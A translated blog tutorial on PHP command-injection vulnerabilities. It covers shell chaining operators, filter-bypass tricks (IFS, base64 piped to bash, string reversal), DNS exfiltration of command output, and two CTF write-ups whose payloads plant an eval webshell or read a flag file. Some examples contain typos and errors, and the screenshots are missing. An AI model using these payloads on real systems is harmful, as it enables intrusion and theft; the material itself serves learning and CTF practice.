PHP Code Audit 10 - Command Execution Vulnerabilities

1. Basics of Command Execution Vulnerabilities

1. Vulnerability overview and principle

Applications sometimes need to call some functions to execute system commands. For example, in PHP, system commands can be executed by using functions such as system, exec, shell_exec, passthru, popen, and proc_popen. When hackers can control the parameters in these functions, they can splice malicious system commands into normal commands, thereby causing command execution attacks. This is the command execution vulnerability. For example, the following simple code scenario:

<?php
    system("ping -c 1 ".$_GET['ip']);
?>

When the IP we pass in is not a standard IP, but mixed with other system commands, it may cause the command to be executed. For example, we construct the payload as:192.168.0.0.1 || whomai

At this point, the command we execute through the system is: ping -c 1 192.168.0.0.1 || whomai, since the operating system allows colleagues to execute multiple commands, the whoami command will be executed, resulting in command injection.

2. Vulnerability detection

For vulnerability detection, we generally need to observe whether there is a function that can execute commands, or whether there is a place where PHP code can be injected. Here we mainly explore the detection of whether there is a command execution function. For PHP, common command execution functions are as follows:

  • system(): Execute the system command and output the execution result, only the correct result is output, and the wrong result is not output.
  • exec(): Execute the command, but there is no output. You can specify the output parameter, and the output will be filled with the returned result; if there are already elements in the output parameter, exec() will append after the output, and the return result of the output parameter is an array.
  • shell_exec(): Execute system commands, but will not return any results
  • passthru(): Run an external program and display the result on the screen, similar to system(), and will not output the wrong result.
  • popen(): Opens a pipe to the process spawned by forking the execution of the given command command. Returns a file pointer identical to that returned by fopen(), except that it is one-way (read or write only) and must be closed with pclose().
  • proc_open(): Execute a command and open the file pointer for input/output. Similar to the popen() function, but proc_open() provides a more powerful ability to control program execution.

For the specific usage of these functions, please refer to the information at the end of the article.

3. Common command concatenation

In the process of exploiting command execution vulnerabilities, we often do not directly replace the commands in the parameters to exploit, but more often exploit the vulnerabilities by splicing commands similar to the above example. So here is a brief introduction to some common command splicing characters.

1) Windows system

  • &

    格式:命令1&命令2…命令n
    规则:命令1和命令2一起执行,互不影响
    

    Examples are as follows:

    insert image description here

  • &&

    格式:命令1&&命令2…命令n
    规则:命令1和命令2一起执行,如果命令1出错命令2则不执行
    

    Examples are as follows:

    insert image description here

  • |

    格式:命令1|命令2…命令n
    规则:当命令1执行成功时才执行命令2,如果命令1执行不成功则不会执行命令2,在两者都成功的情况下,只显示命令2 的结果。
    

    Examples are as follows:

    insert image description here

  • ||

    格式:命令1||命令2…命令n
    规则:或运算,如果命令1执行失败,执行命令2,如果命令1执行成功,则不执行命令2
    

    Examples are as follows:

    insert image description here

2) Linux system

Compared with the Windows system, the functions of "||", "|", "&&", "&"splicing symbols in the Linux system are the same as those of Windows, but in the shell command, Linux also defines a command ";"to indicate the end of the statement, which can separate multiple shell commands ";".

  • 格式:命令1;命令2…命令n
    规则:隔开多条shell命令一起执行
    

    Examples are as follows:

    insert image description here

4. Common defense methods bypass

The research on the bypass method of command execution mainly refers to the protection bypass under the linux system, so here is mainly to share the bypass method under linux.

1) Space filtering bypass

  • Use the spacer "$IFS" to bypass

    利用原理:因为IFS为系统变量,默认值为空格,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数的方式绕过空格过滤
    但是我们并不能直接使用命令+$IFS+参数的方法进行绕过,比如cat$IFSflag.txt,这样是不可以的,因为linux系统或将$IFSflag看做一个整体,从而不能正常的被解析为空格。所以需要在$IFS后面进行截断,以保证$IFS被成功解析。
    对于linux来说,常见的结束标识符有:',",\等,同时,linux系统还提供了${
          
          }操作符来确定变量的范围。
    同时,由于linux存在通配符,所以我们还可以使用通配符来进行匹配,从而让$IFS能够正常结束。
    

    Example in action:

    • Use the "/" in front of the absolute path to separate

    insert image description here

    • separated by wildcard "?"

      insert image description here

    • Delimited by "${}"

      insert image description here

  • Use curly braces "{}" to bypass

    原理:在bash中"{}"可以当作一个代码块进行执行,命令之间";"隔开,参数用","隔开,但是要注意命令块中不允许有空格
    格式:{
          
          命令1,参数1;命令2,参数2....}
    

    Example usage:

    insert image description here

  • Use the redirection input character "<" to bypass

    原理:通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令,当shell在解析命令时如果遇到文件重定向符号,首先将执行文件重定向符号,比如cat<1.txt,shell在解析这条命令时因为命令中含有"<"输入重定向,所以shell先执行重定向操作,将cat命令输入重定向到1.txt文件中,即cat命令的输入来自于1.txt文件,最后cat命令在执行时直接输出了1.txt文件的内容
    格式:cat<fileName
    Tips: 对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。
    

    Operation example:

    insert image description here

2) Blacklist bypass

有时候目标会对一些关键命令的名称进行过滤,这样的过滤称之为黑名单,可以通过一些拼接和通配符等方法绕过黑名单,当然这些方法对一些笨重的过滤函数来说可行,当遇到正则过滤时就显得有些无力了,下面总结了一些常用绕过黑名单的方法,测试这些方法可以写一个命令执行的网页,然后编写简单的过滤规则
  • base64 encoding bypass

    原理:将要执行的命令提前进行base64命令编码,然后将编码后的命令通过管道符解码并执行。
    示例:
    命令 cat flag.php 编码后为: Y2F0IGZsYWcucGhw
    执行命令:echo  Y2F0IGZsYWcucGhw|base64 -d|bash等效与执行:cat flag.php
    

    Example situation:

    insert image description here

  • Shell local variable splicing bypass

    原理:在一个shell中定义变量通过名称=值来定义(定义时名称不要加$符号,等号两边不能加空格),查看变量值时可以通过echo $变量名称去查看变量内容,如果直接在命令行中输入变量名称,shell会先解析变量的内容然后将内容当成命令,所以通过将黑名单中过滤的命令名称拆解分成多个变量,然后通过输入变量名称的方式去达到绕过,比如cat flag.php绕过方式如下:
    a=c;b=a;c=t;d=.php;e=ag;f=fl;$a$b$c$IFS$f$e$d
    

    Example situation:

    insert image description here

  • quotes, built-in variable bypass

    引号绕过原理:在linux系统中,如果在命令中插入成对的引号,但是引号内不包含任何字符的话,bash命令程序在执行时就会自动去除引号,执行正常命令。
    内置变量绕过原理:内置变量$1-9,$*,用于获取脚本传入的参数,默认情况下等价于""''。所以也还可以绕过。
    引号绕过示例:ca''t$IFS''flag.php
    内置变量绕过示例:c$1at$IFS$2flag.php
    
    

    Example of quotes bypassing:

    insert image description here

    Example of built-in variable bypass:

    insert image description here

  • backslash bypass

    原理:在shell中反斜杠除了可以转义特殊字符外还可以将命令分成多行,当命令过长时可以通过反斜杠去跨行输入命令。
    比如下面这样:
    

    insert image description here

    Example of remote execution:

    insert image description here

  • String reverse order bypass

    原理:字符串反序之后,能够绕过WAF检测,类似于base64编码绕过,不过这里需要注意的是,无论是反序绕过还是编码绕过,都借助了echo命令,如果echo命令同样被过滤的话,就需要加上其他的绕过方法。比如内置变量等。
    示例:
    	先将命令反序:echo ”cat flag.php"|rev ————> php.galf tac
    	执行反序命令:echo$IFS$9php.galf$IFS$9tac|rev|bash
    

    insert image description here

  • command substitution bypass

    原理:常见的黑名单比如cat,就可以使用其他查看文件的命令绕过,比如:tail、more、less、head、tailf、nl等。
    

    Simple example:

    insert image description here

3) Command no echo bypass

For the command without echo, it may be that the command execution function used by the target website is exec or shell_exec(). At this time, the command is executed without echo, so we need to find a way to see the echo content. Common echo methods include DNS takeout, http takeout, etc. Here are two methods, namely redirection view, delayed view and DNS takeout.

  • Redirect view

    原理:如果目标站点可以创建文件,我们可以通过重定向>>>去将命令的输出重定向到一个文件中,然后再访问这个文件
    比如:ls>ls.txt,然后访问ls.txt查看结果
    
  • delay view

    原理:和sql延时注入一样,通过判断条件设置页面的回显时间来检查命令是否执行,linux中提供了sleep命令,通过sleep命令配合||命令拼接符去检查命令是否执行,也可以将sleep换成ping命令,将ping包数量设置大一点点,通过F12查看
    示例:echo "<?php @eval($_POST[cmd]); ?>" >>flag.php || sleep 5
    
  • DNS takeaway

    原理:利用DNS的泛域名解析规则,我们的xx.xxx.xxx.abc.com,都会解析到abc.com上,利用DNS解析记录,将数据附带在DNS要解析的域名中,就会通过解析记录展示出数据。
    示例:ping `whoami`.xxx.abc.cn
    

    Simple example:

    insert image description here

2. Analysis of CTF sample questions

1、BUUCTF 2018 Online tool

First look at the source code:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    
    
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    
    
    highlight_file(__FILE__);
} else {
    
    
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

After a quick glance, we found that we need to pass in a host parameter, and then use nmap to scan the address.

After obtaining the host, it can be found that the host content is filtered using the escapeshellarg() function and the escapeshellcmd() function. Let's first look at the function of the escapeshellarg() function:

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,执行运算符(反引号)。这里的shell 函数包含 exec(), system() 等。
比如下面这两个例子:
echo escapeshellarg("Hello,world !!!")       ————> 'Hello,world !!!'
echo escapeshellarg("Hello,'world' !!!")     ————> 'Hello,'\''world'\'' !!!'
echo escapeshellarg("'Hello,"world" !!!"'")  ————> ''\''Hello,"world" !!!'

Then look at the function of the escapeshellcmd() function:

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
比如下面的情况:
 echo escapeshellcmd("'127.0.0.1#")    ————> \'192.168.92.1\#
 echo escapeshellcmd("'127.0.0.1'#")   ————> '192.168.92.1'\#

So after being processed by these two functions, the normal IP we pass in will be as follows:

127.0.0.1    ————>'127.0.0.1'

But when we add single quotes to the incoming parameters:

127.0.0.1'   ————>'127.0.0.1'\\''\'

Since \\will be parsed into \, so it loses the role of escaping, at this time '127.0.0.1'\\''\'is equivalent to '127.0.0.1' \'.

So we can use this problem to construct paylaod here:

First of all, we need to know that the -oG parameter of nmap can write codes and commands into files, for example: nmap <?php phpinfo();?> -oG 1.phpphpinfo() will be written into 1.php.

So here we need to construct a one-sentence Trojan horse to write into the php file, so that the final executed command is:

nmap -T5 -sT -Pn --host-timeout 2 -F <?php @eval($_POST[cmd]);?> -oG shell.php

So it is necessary to use the single quote escape mentioned above to construct paylaod:

?host=' <?php @eval($_POST[cmd]); ?> -oG shell.php '

Pass in the host content and find that the address of the shell file is returned:

insert image description here

Access the shell file and find that the access is successful, indicating that the command is executed successfully, and then use the kitchen knife to connect and successfully obtain the flag:

insert image description here

2、CTF.show web31

First look at the source code:

<?php
// flag in /flag
error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

It can be seen that keywords such as flag and php are filtered, and "." is also filtered. Consider the above bypass method, since we do not filter echo here, we can use base64 encoding to bypass. Or replace cat with other commands and use wildcards to match files and use %20 and %09 to replace spaces.

pollinators:

c=echo%09`head%09/fla?`

Test Results:

insert image description here

3. References

Guess you like

Origin blog.csdn.net/qq_45590334/article/details/126161919